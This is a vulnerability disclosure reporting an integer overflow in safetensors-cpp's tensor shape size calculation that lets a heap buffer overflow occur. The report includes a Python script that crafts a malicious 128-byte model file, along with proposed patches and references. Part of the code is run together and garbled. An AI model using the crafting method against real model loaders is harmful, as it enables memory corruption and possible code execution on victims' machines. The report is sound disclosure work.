# Integer Overflow in safetensors-cpp Enables Heap Buffer Overflow via Malicious Model Files ## Summary I found an integer overflow vulnerability in safetensors-cpp's `get_shape_size()` function that enables a heap buffer overflow when loading a crafted `.safetensors` model file. The function multiplies tensor shape dimensions using unchecked `size_t` arithmetic, allowing dimensions to overflow to a small value that passes all validation checks. The reference Rust implementation correctly uses `checked_mul` and rejects such files with `SafeTensorError::ValidationOverflow`. A 128-byte malicious `.safetensors` file passes safetensors-cpp's `load_from_memory()` and `validate_data_offsets()` without error. Any consuming application that uses the shape dimensions for buffer allocation or iteration will experience a heap buffer overflow. This was confirmed with AddressSanitizer. ## Attack Preconditions 1. The target application uses safetensors-cpp to load `.safetensors` model files 2. The application accepts model files from untrusted sources (e.g., Hugging Face Hub, user uploads, shared model repositories) 3. The application uses tensor shape dimensions for buffer allocation, iteration, or processing (standard behavior for ML frameworks) ## Steps to Reproduce ### 1. Create the malicious safetensors file ```python # craft_overflow.py import json, struct shape = [4194305, 4194305, 211106198978564] # True product: ~3.7e27, overflows uint64 to exactly 4 # With F32 (4 bytes): tensor_size = 16 header = {"overflow_tensor": {"dtype": "F32", "shape": shape, "data_offsets": [0, 16]}} header_json = json.dumps(header, separators=(',', ':')) header_bytes = header_json.encode('utf-8') pad_len = (8 - len(header_bytes) % 8) % 8 header_bytes += b' ' * pad_len with open("overflow_tensor.safetensors", "wb") as f: f.write(struct.pack('= kMaxDim) return 0; size_t sz = 1; for (size_t i = 0; i < t.shape.size(); i++) { if (t.shape[i] != 0 && sz > SIZE_MAX / t.shape[i]) { return 0; // overflow would occur } sz *= t.shape[i]; } return sz; } ``` Also add overflow checking in `validate_data_offsets()` for the `dtype_bytes * shape_size` multiplication: ```cpp size_t shape_size = get_shape_size(tensor); size_t dtype_bytes = get_dtype_bytes(tensor.dtype); if (shape_size != 0 && dtype_bytes > SIZE_MAX / shape_size) { ss << "Tensor size overflow for '" << key << "'\n"; valid = false; continue; } size_t tensor_size = dtype_bytes * shape_size; ``` ## References - safetensors-cpp: https://github.com/syoyo/safetensors-cpp - Rust reference (with checked_mul): https://github.com/huggingface/safetensors/blob/main/safetensors/src/tensor.rs - Trail of Bits audit of safetensors: https://huggingface.co/docs/safetensors/en/audit_results - CWE-190: Integer Overflow or Wraparound: https://cwe.mitre.org/data/definitions/190.html ## Impact This vulnerability allows an attacker to craft a malicious `.safetensors` model file that: 1. **Passes all validation** in safetensors-cpp (load + validate_data_offsets) 2. **Is rejected** by the Rust reference implementation (cross-implementation differential) 3. **Causes heap buffer overflow** in any consuming application that uses shape dimensions for memory operations The attack surface is significant because `.safetensors` is the primary model format for Hugging Face models. Any C++ application loading models from untrusted sources (model hubs, user uploads, federated learning) is vulnerable. The malicious file is only 128 bytes and indistinguishable from a legitimate safetensors file without overflow-aware validation. Severity: **High** (CWE-190 leading to heap overflow / potential RCE in C++ applications)